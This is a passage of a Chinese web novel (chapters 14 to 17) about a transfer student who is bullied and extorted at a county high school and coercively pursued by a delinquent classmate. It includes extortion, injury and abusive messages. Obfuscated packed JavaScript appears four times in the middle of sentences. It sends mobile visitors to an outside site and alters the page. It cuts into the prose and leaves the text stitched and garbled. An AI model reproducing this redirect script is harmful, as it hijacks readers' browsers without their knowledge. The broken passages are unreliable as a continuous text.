林昕远顿时踹了下桌子，没多大力气，但桌子还是往前横移了些撞上朴芯的椅子。 明明只是很小的动静，但周围原本还有些窸窸窣窣动静的教室立马安静了，周围落针可闻，林昕远盯着朴芯说：“你给谁摆脸色呢？我欠你的？” 但朴芯就是不开口，她也没看林昕远，徐怀仁还想张嘴说什么，林昕远从桌上捞起烟，连看他都没看他，说：“滚，我和朴芯说话用不着你插嘴。” 他语气不重，却平静狠厉，仿佛下一秒就要动手。 终于朴芯有动作了，从书包里拿出一包烟放到林昕远桌上，背上书包就要走。 仍旧没有看他，也没有和他说话，冷淡的不像话。 林昕远低头看了眼那包烟，是盒雨花石。 完全撇清关系的姿态。 我艹，林昕远气笑了。 14. 第 14 章 朴芯知道林昕远会生气。 但是又有什么关系呢，反正归根结底他们之间本来就交际很少，而且那些人和他玩得好，是他的朋友或是暧昧对象，本质上，林昕远和他们是一样。 林昕远的朋友很多，再加上他刚回来，每个课间都有很多人来找他，乔宇、罗茜，还有一些朴芯之前不认识，但现在知道名字的人。 他们在后面聊天，朴芯只能假装听不见，安静地写着自己的作业。 昨天晚上她一直在洗衣服，导致今天手还有些酸，才写了一会作业手臂上就传来一阵疼痛感。 朴芯挽起袖子看了眼，那道很长的伤疤已经结痂了，暗红色的血痂沿着手臂往上蔓延进袖子里。 可能是昨天沾了水，痂痕有轻微的脱落，朴芯放下笔，像是不在乎似的低头撕掉结痂，没有长好的地方很快往外冒血珠。 朴芯扯了张纸擦掉血迹，拉下衣袖挡住伤口，她用餐巾纸包好血痂，本来想到后面扔垃圾，但后面围了太多人。 要去扔垃圾就必须路过他们，所以朴芯还是没去扔，把纸团了下放在课桌旁边。 后面的人还在说话，是乔宇问林昕远：“远哥你怎么这时候回来了？” “想回就回了。” “我还以为你不回来了，”乔宇说。 林昕远的话就没几分正经形，说：“不回来干吗？想你了就回来了。” 乔宇嘿嘿笑了两声。 这几声笑落在朴芯耳朵里有些刺耳，她缓慢地呼吸了几下。 乔宇和林昕远的关系她的也了解一下，他们从初中就认识，关系一直不错，乔宇对林昕远不像是他对洪强那样单纯的怕挨打，拜山头。 他对林昕远是真的好，就算在洪强身边朴芯也没听到过他说林昕远的坏话。 而且也不光乔宇这样，林昕远的大部分朋友都是如此。 也不知道他哪来的魔力。 他们在后面商量着去哪玩，去哪喝酒，轻松自在。 下节课是物理老师的课，要讲昨天写的试卷，朴芯把自己课桌翻了个遍，也没找到试卷在哪。 这种情况很常见，至少朴芯现在已经习惯了，可能是在垃圾桶，也可能是早就被人撕掉了。 她往后看了一眼，后面的垃圾桶不知道被谁踢了一脚，在偏教室中间的位置，离林昕远他们已经有了一段距离。 朴芯拿起桌上的纸团打算去找试卷。 她旁边有个女生正站着聊天，朴芯低声说了句：“你好，可以让一下吗？” 女生回头瞥了她一眼，不耐烦地往旁边让了半步。 朴芯侧身贴着桌沿过去，把纸团丢进垃圾桶，弯腰找试卷。 所幸垃圾桶里东西不多，就一些餐巾纸和扫掉的灰尘，朴芯不太想伸手翻，但还是翻了。 垃圾桶翻到底，里面没有她的试卷。 朴芯正蹲着思考试卷还可能被放在什么地方，刚才那个给她让位的女生横插了句话：“你怎么翻垃圾桶，脏不脏啊？” 她刚说完，周围的说话声便都停住了，似乎都在朝她这边看，那种不舒服的针刺一样的感觉让人如芒在背。 朴芯微微愣神，她蜷缩了一下手指，没有理会任何人就重新坐回座位上。 周围有一些轻声的议论，但朴芯无动于衷，她好像已经习惯被打量，被讨论，被说一些莫名其妙的话。 她扯了张湿巾纸擦手，然后继续写题目。 厚厚的一本习题册，都是重点高中的试题集锦，不知道什么时候才能写完，也不知道什么时候才可以结束高中。 她这幅态度显得没意思极了，后面一个男生说道：“读书读傻了吧？” “书呆子，别管了。” …… 林昕远敲了下桌面，很快就让周围人都走开。 他发话，大家自然也没什么好说的，纷纷散场。 朴芯回去时他正好睁眼，抬头往朴芯这边看，跟没睡醒一样眨了几下眼，然后盯着她坐下，翻书。 他的目光存在感强烈，定在别人身上犹如实质。 直到后来朴芯才明白，其实那个时候林昕远就察觉到她不对劲了，但当时林昕远没想管这件事。 他没有什么别的弯弯绕绕的原因，既不是因为害怕洪强，也不是因为怕惹事打算当好学生了。 林昕远只有一个原因——第一天他回来，朴芯没有回答他的问话，惹到他了。 他不是一个好心人，甚至在大多数情况下林昕远才是那个让人害怕的存在，打架斗殴，以至于说把他和洪强放在一起问别人更害怕谁，百分之九十九的人都会选林昕远。 朴芯没办法分辨惹到他的后果到底严不严重，反正就算是更坏的下场对她现在来说也没有任何差别了。 林昕远还是像之前那样偶尔来一次学校，依旧是睡觉，抽烟这两件事。 朴芯偶尔会遇见他，她还见到过魏颖。 魏颖和罗茜一样都是高挑美艳型的女生，但相比与罗茜还能看出她是学生，魏颖早就不读书了。 朴芯遇到她的那天她裹了件黑色羽绒服，衣服里是件红色的毛衣裙，高马尾，纹身一直蔓延到脖颈，是一眼看上去就具有强烈攻击性的美。 她拿着打火机给林昕远点烟，整个人都快趴到林昕远的身上。 林昕远正靠在墙边，一边和周围的人说话，可能是在聊什么有趣的事情，他笑了几下，然后偏头借着魏颖的火点烟。 烟雾飘散，他就抽了两口，魏颖对他说了句话，然后拿过林昕远的烟接着抽，涂了红色甲油的手格外晃眼醒目。 朴芯看了一会，然后收回视线。 她开始慢慢觉得陇县的一切都离自己很远，是完全陌生的地方。 她和林昕远的交际太少了，少到彼此都觉得对方是陌生人。 有次她放学后被人关在废弃的教室，好半天才挪动坏死的窗户，灰头土脸地出来的时候，撞见正在不远处和别人聊天的林昕远。 他不冷不淡地看了朴芯一眼，随即收回视线。 她翻垃圾桶找试卷的时，林昕远也坐在座位上，她被叶然陶西红拦住的时候林昕远也看到过。 但大多数时候他们并没有什么交集，甚至鲜少 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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她此时已经懂了一些潜规则，谈恋爱对于林昕远他们来说不是一件很正经的事情，是别有目的的。 她很自然地说：“我不好睡。” 林昕远过了两秒才说话：“我试了才知道。” 雨还在下，有越下越大的趋势，有些雨滴落在他脸上时又沿着他的鼻梁滑落，朴芯说：“你不是说我在和徐怀仁谈恋爱吗？” 林昕远扯了扯嘴角，回答说：“他不敢和你谈。” 朴芯张张嘴，似乎要问什么，但林昕远往后捋了一把头发，预见性地先开口了，“你放一万个心，我敢。” 朴芯没有再说话，她觉得和林昕远聊这些是浪费时间，就想走。 林昕远也没拦着她，他的声音穿透雨幕，到底是轻还是重朴芯记不太清，但记得他说了什么，他说：“你考虑考虑，朴芯，和我在一起。” 那是23年12月16号。 星期四，大雨。 15. 第 15 章 朴芯不知道林昕远到底是什么意思。 明明过去的几天他都没怎么搭理过朴芯，也许是为了好玩，也许是为了别的原因，比如跟洪强一样是为了些不太正当的理由。 总之，不会是因为喜欢她。 这对于朴芯来说只是一个不大不小的插曲，她还有很多麻烦要面对。 叶然和陶西红朋友很多，还认识很多校外的人，经常会来找朴芯麻烦，她们知道朴芯有钱，所以大多数时候都是拦住她要钱。 朴芯会说自己没有，这样回答的后果往往会招来不好的后果，比如辱骂，扔书包，甚至于动手。 就像昨天在巷子里那样。 第二天她换了个黑色书包去上学，陶西红正和叶然在窗户边说些什么，见朴芯进来，她们不约而同地抬头看了一眼朴芯。 目光很明显，朴芯只得假装看不见，林昕远也在教室。 见朴芯走过来，他抬头一直盯着朴芯往这边走，朴芯以为他会和自己说话，但直到她坐回座位也没有。 上了两节课他又在后面睡觉。 和昨天白天一样，也许其实昨天那些话只是昨天他喝醉酒后乱说的。 朴芯怀着这种想法强迫自己忘掉这件事。 到中午，她去食堂吃饭。 一高的食堂很小，只有一层，打饭的窗口挤满了人，朴芯排在队伍末尾，等排到她的时候基本就剩下一些素菜了，朴芯点了两个菜找了个位子吃饭。 刚吃两口，林昕远不知道从哪过来了，坐在朴芯的对面。 平时林昕远很少出现在食堂，这是朴芯第一次见。 周遭有学生有意无意地朝这边打量，朴芯本来觉得自己已经习惯被盯着看了，但今天不知道为什么，还是有些不适应。 林昕远的话不多，说：“昨天我说的话不是心血来潮，我跟你来真的。” 朴芯愣住，他又说：“习惯一下，往后中午我都和你一起吃饭。” 说完，林昕远等了一会，或许是看出朴芯的紧张了，难得地问：“你还话跟我说吗？” 朴芯说：“我不愿意和你一起吃饭。” 林昕远笑了两声说：“我不是跟你商量。” 他吃饭很快，吃完就在对面盯了朴芯一会，然后起身就走。 等朴芯吃完饭回教室时，林昕远在窗外抽烟。 两人视线撞了一下，林昕远对她扯了下嘴角，轻松，若无其事，随即转过去接着抽烟。 - 叶然她们要不到钱不会轻易善罢甘休，大部分时候她们会在接下来的两三天内展开报复。 朴芯记得最清的一次是上周，因为她没给钱，所以叶然叫了两个职校的朋友来堵她，她们说的话不太好听，推搡中朴芯抬手挡了一下，随即被人猛然往后推。 当时朴芯的身后是个破旧的铁皮箱，她猝不及防，伸手想往后撑住身体，就是这个动作让她的手挂到了箱子上的铁片。 血流了很多，到今天那道伤疤也没好全，还有一些结痂没有脱落。 朴芯一整天都在提心吊胆，早上担心自己的作业没人收，每上一节课还要担心自己有没有书本。 就这么过了三天，到周五，林昕远一连好几天都在学校。 每次刘华连上课前望向这边的目光已经逐渐变得震惊了，感觉像是看了什么不可思议的事情。 那天下午大课间跑操结束，朴芯从操场回来的途中遇到了吴若莹。 她从后面揽了下朴芯的肩膀，说：“今天叶然的朋友会过来，在校门口堵你。” 说完，也没等朴芯的回复就往前跑，钻进远处的人潮中，一高的校服是藏青色的，远远望过去刚跑完操的学生像一片片深色的乌云。 朴芯愣住，在原地站了一会才往教室走。 教室里零零散散来了五六个学生，林昕远还在睡觉。 他除了周一的升旗仪式之外其他时候都很少出操，也没人查他的出勤。 朴芯坐回座位时，思考着晚上要怎么逃过去。 叶然她们很少会选择在学校里找事，大概是因为虽然一高的老师管的很宽松，但还没到睁眼瞎的地步。 虽然在学校里也能动手，可远没有在校外方便。 之前朴芯都是趁着放学混在人群里出去，放学时间这么多学生，叶然她们也不可能仔细盯着她。 但这次是周五，等朴芯做完值日出校门门口早就没人了。 朴芯想了会，想起来学校操场附近有堵墙比较矮，可以从那里出去。 朴芯是这样想的，也确实是这样做的。 下课铃响林昕远就先走了，他虽然按时来学校，但骨子里应该还不习惯上课，每次放学走的比谁都着急。 朴芯做完值日生学校差不多已经空了，她背着书包跑到操场，操场附近的强大概一米五左右，朴芯能从这看到校外是一条窄巷子，里面有些卖五金和修车的小店铺，人不多。 她回过头看了一圈，操场尽头有个两层梯子的发令台。 朴芯过去踩着台子打算翻过去。 她运动能力不差，但也还是费了很多力才爬上墙壁，然后她往下看了眼。 巷子是个陡坡，墙外的的地面比墙内低了不少，对比之下墙里面就高了很多。 朴芯不太敢直接往下跳，就慢慢探着身体往下够。 — 修车铺。 林昕远蹲在地上抽烟，旁边的徐胜问他：“你最近干吗，听乔宇说你天天在学校，怎么去了一趟浦江阿姨给你拜什么文曲星了，给你整的爱学习了？” “没学，”林昕远叼着烟说：“她拜的月老。” “……？？” “啊，”徐胜懵了，本来他还站着，听到这句话立马蹲在他旁边：“我艹，真的假的，你看上你们学校的谁了？你tm不是说你不谈恋爱吗？” 林昕远：“我什么说过这种话？” 徐胜：“……？” “我艹，你这就没意思了，”徐胜和林昕远也是朋友，但徐胜初中毕业就不读书了，在附近城市的汽修厂工作，平时也不咋回来，今天还是因为路过才特意来看林昕远。 他知道林昕远这人什么个性。 心情好了对谁都能说几句好话，但同时对谁又都很冷淡，人家在他身边走或者是留他都不在乎，这么多年也没见过林昕远正经说过谁的他女朋友。 结果现在又是一副“我当年纯嘴嗨”的嘴脸，徐胜震惊了，他正要细问，林昕远懒得理他，问：“车什么时候修好？” “一会，要个二十分钟吧，”徐胜说：“你那车轴承坏了。” “哦，”林昕远把 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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朴芯还是那副表情，微微皱眉好像不想跟他有接触似的。 她转身要走，林昕远一把拉住她胳膊把她扯回来推到墙上，伸手摁着她的肩膀低头问：“我发现你很蠢，分不清形势。” 他离得很近，微微塌肩，蹙眉紧盯着朴芯：“现在看你不爽，要修理你的人不是我，你恨我有什么用？你有本事在这给我摆脸色，恨我怎么没本事走正门，啊朴芯？瞪我好玩？” 朴芯的肩膀被摁得有些疼，其实不重，但是在朴芯的感知里这点痛感被无限放大，很快蔓延到心脏。 她抬手挥掉林昕远的手，不甘示弱地说：“你也不要和我有关系，我不喜欢你，一点都不喜欢，也不想和你在一起。” 她没有像之前第一次反驳他那样直视着林昕远，低着头，仿佛说的每一句话都很耗费力气。 明明说的每句话都往林昕远雷点上踩，但林昕远却罕见地没有多气，甚至朴芯说完他还笑了下，反握住朴芯的手。 他皮肤上的温度偏低，触感清晰的冷，微眯眼说： “你最好是，朴芯你永远别喜欢我，这样正好，我最擅长强人所难。” 16. 第 16 章 徐胜难得回一次陇县，特意邀请以前的朋友一起吃顿饭。 林昕远要带着朴芯一起过去，他和修车铺的老板认识，从店里拿了个头盔不顾朴芯的抗拒，硬是给她戴上了。 徐胜本来蹲在地上抽烟，看见朴芯戴头盔，左右看了一眼，为自己发声：“那我怎么去？” 林昕远正在给朴芯扣头盔的安全扣，下巴往旁边一扬，不耐烦地说：“这不是有自行车吗？” “……” 徐胜：“我艹，你就这样对兄弟？” 朴芯不是很配合，林昕远警告性地抬了下她的下巴，没搭理徐胜。 戴完头盔，林昕远拉着她上车，朴芯第一次坐机车，很紧张，但也不想和林昕远有接触。 她坐在机车靠后的位置，留出的空隙感觉甚至还能挤得下一个她。 林昕远腿够长，撑在地上支着机车打开手机看地址，边看边对后面的朴芯说：“你抓着我衣服，不然一会速度太快会被甩下去。” 朴芯还是没动。 她就是不说话，以沉默对抗来自林昕远的一切。 林昕远没多说，看完地址把手机一收，随即插钥匙，俯低身子，扭动把手，机车如同离弓之箭往前冲。 他给朴芯的头盔上没有面罩，陇县的风干燥刺骨，快速的风刮得如同刀割，刮得整张脸都生疼。 朴芯不得不低头躲风，但手还是在抓着机车的后沿。 树木，房屋都急速地后退，直到一个急转弯，机车几乎贴着地面滑动，巨大的离心力让朴芯不由自主地往后仰，她差点叫出声连忙抓紧林昕远的腰。 他腰部劲瘦，搁着外套也能感受到他身体上的高温。 机车转过弯重新站起，风继续吹，朴芯惊魂未定，泄愤般抓了下他的腰。 男生的腰太瘦了，他骑车的时候又绷着身体，肌肉很硬，抓也抓不动，朴芯随即捶了一下他的后背。 然后，就听见前面林昕远低低地闷笑了几声， “别有病。疼死了。” — 朴芯下了机车一直在旁边干呕，林昕远不知道去哪给她找了瓶冰水。 握在手里还没喝就觉得冻手。 朴芯不喝凉的东西，她刚接过又扔给林昕远：“我不要。” “不要什么，”林昕远伸手接住，蹲下来说：“我有没有让你抓着我，你非不要怪谁？还想怪我吗？” 刚才的风刮的太猛了，朴芯不仅脸疼，嗓子里也有一股血腥味，从翻墙到现在被人莫名其妙拉到这里来吃饭，她就算再好的脾气也生气了。 “就是怪你，”朴芯说：“你为什么开的这么快?” 林昕远掂了两下手里的水，说：“我赶着吃饭。” “你骗人，你中午不是吃的很多吗？” 林昕远笑了：“你连这个都记得呢？” 朴芯顿时不说话了，林昕远把水拧开：“赶紧喝了，一会进去吃饭，人都来了。” “不喝，”朴芯甩开他。 来回好几次，林昕远也不是特别有耐心的人，他指了下朴芯：“你别跟我闹，喝不喝，不喝我扔了。” “那你扔吧。” 她蹲着咳嗽，穿着件淡粉色的羽绒服，但衣服外面还套了件灰色校服外套，拉链几乎拉到最顶上，把里面那件衣服的颜色挡得严严实实。 朴芯的脸长得很乖，咳嗽再加上外面天气冷，她鼻尖和脸颊都通红，看着格外让人于心不忍。 其实她更适合穿鲜艳的颜色，而不是灰黑。 林昕远没真把水扔了，但也气得差不多了：“别在这和我耍脾气，喝口凉的死不了你。” “我没让你拿水，”朴芯说。 但她咳嗽得太厉害了，林昕远被她弄的没招，抬着下巴给她灌了一口。 水是从冰柜里拿出来的，这个天气外面的气温没比冷藏高多少，冷水灌下去喉咙里的干涩感立马缓解了稍许。 她咳了几声，终于拿过水自己喝。 她一口气喝了小半瓶，稍微缓解了恶心感，心里那股气也下去了一些，就觉得很累。 朴芯蹲在地上没起来。 那边徐胜终于踩着自行车姗姗来迟，停好车招呼他们：“你们来了就进去，别在外面等着了。” 林昕远朝那边点了下头，从地上拉起朴芯：“别闹了，赶紧起来吃饭。” 一起来吃饭的人中朴芯认识的面孔不多，唯一比较熟悉的是魏颖，但也只是她单方面见过别人几次。 魏颖在一家酒吧当驻唱，平时也和徐胜一样很少出现在陇县，但朴芯经常会听见她的名字，和她联系在一起的往往还有罗茜和林昕远。 据说林昕远之所以没和罗茜谈恋爱就是因为魏颖，她不喜欢罗茜，所以连带着要求林昕远不许和罗茜谈。 这句传言多半是假的，朴芯也不太能理解这句话，但从中可以看出魏颖和林昕远的关系不一般。 整顿饭吃下来朴芯都没说话。 魏颖指了指她问林昕远：“这是你同学？” 林昕远嗯了一声。 魏颖又笑着问：“和你什么关系？” “看不出来？”林昕远和徐胜碰了碰杯，随即仰头喝酒。 他说的很明显，魏颖朝朴芯那边瞥了一眼，女生还在低头吃饭，动作略微拘束，耳边有一缕发丝垂下，好似对场上的议论声丝毫不感兴趣。 很新鲜的一类人，在陇县很少见到，也是和林昕远截然相反的类型。 魏颖重新倒满酒，还是好奇确认：“你女朋友？” 林昕远右手自上而下地笼着杯子，漫不经心地往桌面上轻点了两下，侧过脸看魏颖：“知道就离我远点，省得我烦。” 他语气不重，因此让人分不清他是认真还是开玩笑。 魏颖还没说话，旁边的徐胜一下笑出声，周围的几人也笑。 “不是，我艹这话也就远哥敢说。” “远哥这我就要说说你了，渣男。” “自古帅哥出渣男……颖姐，我看你还是算了吧。” …… 他们开了几句玩笑，桌上的气氛仍旧轻松，魏颖也没生气，笑着骂了声：“你有病啊，拿我开什么玩笑？不过——” 她话锋一转说道：“这下罗茜要伤心了。” 这里认识罗茜的人不多，大家起哄两句就算了，徐胜伸手招呼服务员再点几个菜。 朴芯的心思就是这个时候动了下，很轻微的，像一条绷紧的弦被风吹过，无声但漾开阵阵涟漪。 她抬眼去看林昕远，后者还在喝酒，但感受到了朴芯的目光，朝这边看。 只一眼，朴芯又很快低头，不冷不淡地抛出一句：“我不是他女朋友。” 谁也没在乎这句话，就魏颖前倾身体往她这笑笑，似乎在安抚她，让她放心。 朴芯一直吃不惯陇县的饭菜，吃了几口就饱了。 吃过饭徐胜他们去里面拿酒打算继续喝，桌上就剩下朴芯和林昕远，林昕远正低头看手机。 饭桌在室外，有些冷，朴芯扯了下衣服。 林昕远注意到了，侧过头问：“冷？” 他喝酒上脸，刚才喝了那么多酒，从耳朵到脖颈都是一片红，可能喝的有些醉，眼底也雾蒙蒙的，垂着眼看人时莫名多了几分深情感。 朴芯不自觉地攥了下手指，摇摇头，林昕远又问：“吃饱了吗？” 朴芯点头，忽然问他：“你前几天为什么让我跟你在一起？” “嗯？”林昕远没反应过来。 朴芯偏头又问了一遍：“你为什么让我跟你在一起？” “没原因，”林昕远这下听明白了，他扯了下嘴角，说的格外轻松：“好玩。” 好 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16387086|184206||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 玩，不是因为喜欢。 朴芯在感情上太生涩了，就像此时她甚至不知道该怎么接这句有些轻浮的话。 愣了几秒说：“你很无聊。” 林昕远嗤笑一声，不以为然。 他给徐胜发条消息说自己先走了，然后拉起朴芯：“走了，回去。” 他喝了酒骑车反而稳了很多，朴芯在后面抓着他外套，夜色中难以看清陇县的建筑，风仍旧刮得迅疾，猛烈。 这次朴芯没有低头，她稍微坐直身体，感受风。 大脑中乱七八糟的念头缠绕在一起，错乱复杂，让人分不清真假对错。 林昕远送她到家门口，朴芯把头盔脱下来还给他，林昕远没立即就走。 他从口袋里摸了一盒烟，点上，问朴芯：“你想不想我追你？” 其实朴芯想说不想，可是话到嗓子口又没说出来。 她沉默，林昕远扯了下嘴角，弹弹烟灰接着问：“你想我怎么追你？” 朴芯不知道。 其实之前她在南京上学的时候也有人追过她，但那时候大家都很青涩腼腆，一起上补习班，或者是打游戏，就算约着出去玩往往也是好几个同学一起，朦胧到还是别的朋友点破，朴芯才知道对方喜欢她。 但这些林昕远都做不来，他既不可能做，朴芯也想不出他写作业会是什么样子。 朴芯脑子里很乱，她不想说。 林昕远坐在机车上，往后仰仰身子，像是在拉扯筋骨，追问：“今天是叶然她们要在校门口堵你？” “你问这些干什么？” “我要追你，你的事我也会管，”刚才去的饭店离陇县有段距离，骑车也要二十多分钟，再加上刚才喝了酒，他干脆懒散地躺倒在机车上，偏过头看朴芯：“你要不要说？” 他这幅样子让朴芯轻而易举想起来他们当时第一次见面的场景。 当时在车站外，林昕远也是这样躺在机车上。 自上而下地扫她一眼，眼里明晃晃的都是事不关己的冷漠。 她那时候没想到自己会在陇县遇到这么多事情，也没想过有一天林昕远会对她说这些话。 但没有人会无缘无故就对别人好，林昕远更加不可能，他就不是什么好心人，除非他另有目的。 而林昕远要的东西朴芯一定付不起，所以她不需要。 朴芯皱眉：“我不相信你。” 林昕远嗤笑了一声，不屑地说：“不信我你还能信谁？” 他抽了几口烟，随即从机车身上直起身，摁灭烟蒂说：“回去睡觉吧，剩下的事不用你操心了，你只需要记住一句话。” “什么话？”朴芯问。 林昕远对着茫茫夜色吐了口烟，拧拧把手说：“明天告诉你，朴芯，恭喜你，遇上我这种好人，你有救了。” 说完，他没给朴芯反应时间，机车飞驰闯入黑暗的陇县。 朴芯在原地站了一会，片刻后才更加明显地皱了下眉，然后回家。 灯还是坏的，朴芯把桌边的台灯打开，她随便打开手机看消息，刚打开，弹出好几条陌生的好友申请消息。 ——“傻逼你躲你妈呢，你最好躲一辈子，不然周一去学校你等死吧。” ——“有钱人戴的起几万块的手链，没道理连几百块都拿不出来吧，你故意的？” ——“傻*朴芯，你他妈的******艹**” …… 下面还有好几条，一条比一条骂得脏。 朴芯的大脑一片空白，她舔了舔干燥的嘴唇，从网上复制了一些骂人的话一条条发过去，然后像之前一样删除消息，拉黑联系人。 放下手机，室内一片寂静。 她烦躁地用力扯了下自己的头发，不禁想起刚才林昕远的话——“你有救了。” 是吗？ 或许吧。 17. 第 17 章 林昕远是说到做到。 第二天朴芯本回来不打算来学校，她讨厌那些打量或者是针对，但是想想，自己也不可能永远都不上学，有些该面对的事情永远躲不掉，所以还是来上学了。 她踩着早自习上课铃声来教室。 林昕远比她更迟，早读上完了他才来，仍旧拎着一个看起来轻飘飘的书包。 坐下之后把书包往桌上一扔，随即扯开拉链，里面没装书，软制面料的书包里就安静的坐着一只兔子。 ——他好像很喜欢这只玩偶，之前走的时候带着，回来的时候也带着。 早上第一节课是数学课，课代表在前面发作业，左右都收到了作业，但等到发完也没有朴芯的。 她对此习以为常，大概率是被叶然她们扔掉了。 ——每次放学朴芯都会把自己课桌里东西带走，交作业也是自己去交，不然就很有可能陷入这种情况。 她的东西被扔掉，运气好一点在教室后面的垃圾桶里，运气差一点可能不知道在学校的哪个角落。 朴芯回了下头。 后面林昕远正在吃早餐，可乐配包子，边吃边用手指绕着兔子的耳朵。 这只兔子是垂耳兔，耳朵很软很长，表情是不太好惹的皱眉装拽，被林昕远扯了几下，更显凶。 他每天晚上不知道都干些什么，一来学校除了抽烟就是犯困，眼下也总有淡淡的乌青色。 不知道是不是因为包子太难吃，他吃了两口直皱眉，看朴芯回头，摸着兔子挑眉：“有事说话。” 朴芯正想起身去找作业，后面林昕远从桌上拿起手机，递给朴芯看。 手机上一张照片，应该是在哪个舞厅拍的，画面昏暗，但能看清人脸，正中央是三个女生，都化着妆。 这几个人朴芯认识，她们是叶然和陶西红的职校朋友，之前来堵过朴芯。 朴芯短促困惑地“嗯”了一声。 林昕远问：“这些人你认识吗？” “认识，”朴芯好一会才点头。 “还有没有别人？” “你要干什么？” 正好上课铃声响，林昕远抽走朴芯手里的手机，不屑一顾地说：“还能干什么，像你一样给人家送钱。” 朴芯下意识地反驳：“我没有。” 林昕远看她一眼，随即也没有说话，扯了扯嘴角伸手开可乐。 这么一耽误，朴芯也没时间去找作业了。 他们班数学老师是唯一还会稍微管事的老师，而且人比较凶，经常叫同学们起来回答问题，回答错了或者是被看出来没听课的，往往会被叫起来站一节课。 要是他看到朴芯上课不带作业，估计会发火。 但昨天数学老师说今天小测，应该不会讲作业，那一会下课去找也来得及，朴芯稍微放心一点。 数学老师迟了一两分钟才过来，但没拿试卷，说道：“学校的打印机坏了，咱们今天先讲昨天的作业，你们的作业做的很差，都是错的，班上只有一个全对的，是谁我记不清了，但你们跟人家学学，那些题目我都讲过好几遍了……” 朴芯一下绷紧身体。 班上同学都知道这个数学老师的脾气，因此这节课除了像林昕远这种已经顽固不化到一定境界的学生，其他人都老实地拿出练习册听课。 “都先翻到最后一道选择题，这道题班上做对的同学不多，朴芯，你会写吧，起来讲讲你的思路。” 朴芯站起来，她隐约还记得那道选择题是什么题目，但是记不清数字。 站起来没开口，老师正拿着粉笔抬手，想根据她的思路写公式，好半天没听见声音，朝朴芯那边看：“说话啊，你是怎么想的？” 朴芯握了下桌沿，那边老师拿着书下来，还没走近就看见她桌上一片空白，皱眉问：“你书呢？是不是没交作业，老师记得你写对了，你交的是谁的作业？” “我交作业了，”朴芯说：“但是刚才发作业没发到我的。” “没发到？”数学老师是个微胖的中年男子，姓孙，地中海，闻言回头问课代表：“你作业都发完了？” “发，发完了。” “有没有发到朴芯的？” “没有。” “你收作业的时候有没有看到她的作业本？” “好像，没有。” 数学老师把手里的书重重地往旁边同学的桌上一砸，笃定地说：“你是不是没交作业？成绩好就不用交作业了，你的基础是比这里的同学稍微好一些，但我告诉你，你还没好到可以不写作业的地步！仗着自己转学过来的就能不写作业了？朴芯，你说说，你有什么理由不写作业？” 班上大部分人都回头朝朴芯这边看。 她抓着桌沿的手逐渐用力，骨节都泛白，尽力为自己辩解：“老师，作业我交给课代表了……” 她这一句不轻不重的辩解在老师听来更像是狡辩，孙老师顿时问：“你交了课代表为什么说没有，也没发到你的作业，老师还冤枉你了？” 到这个地步说什么都没用了，朴芯知道，她嗓子口感觉有东西堵着，很难张口，但还是说：“我真的交了，我下课会找到作业给你看。” “下课找？你上课之前干什么去了，我哪里有功夫等你。你说你交了，班上谁能作证，连课代表都说……” 前面的徐怀仁转头，脸上有担忧的神情。 还没等他说话，林昕远突兀开口：“我看见了。” 声音在朴芯的背后响起，瞬间教室里，所有人都明显愣住，连前面的老师都愣了下：“你看见了？” 也不怪他们这个反应，林昕远来上课就是纯粹混日子，开学第一天刘老师也跟各科老师说过不用管他，当他不存在就行。 林昕远确实，上课不管老师讲的哪一课，闹出多大动静，他照样睡他的，比透明人还透明人。 开学这么久，老师听到他说话的次数屈指可数。 “对，我看见了，上学期朴芯把作业交给课代表了。” 林昕远说的确定，孙老师又问了一边课代表，这次对方说话明显磕绊了许多，给的答案也不是那么确定了。 “好像，好像交了。” “到底交没交？” 林昕远也没多废话，他伸手提起旁边的垃圾桶，把里面的垃圾一把全倒出来，餐巾纸，灰尘等等洒了一地。 里面有本蓝色封皮的书，是学校发的配套练习册，定价是三十七块。 林昕远也不嫌脏，弯腰从地上捡起练习册，翻到最新一页，朴芯的作业笔迹很工整，也没有多余的草稿，整洁漂亮，上面满是红勾。 就是进了好几次垃圾桶，上面有些脏脏的油渍黑印，她用修正带涂掉了一部分，还有一部分涂不掉。 林昕远把作业摊开：“这不是写了，课代表，你发作业把同学的作业往垃圾桶里发？” 一班的数学课代表 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16387087|184206||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 是个矮瘦的男生，被林昕远问这两句问得感觉他害怕的要哭出来了。 “不是，不是，我都是发到同学的桌上。” “那这是怎么回事？我捡的是假作业？” “是叶然她们扔的，”课代表说：“是陶西红她们。” “你——”陶西红猛然抬头。 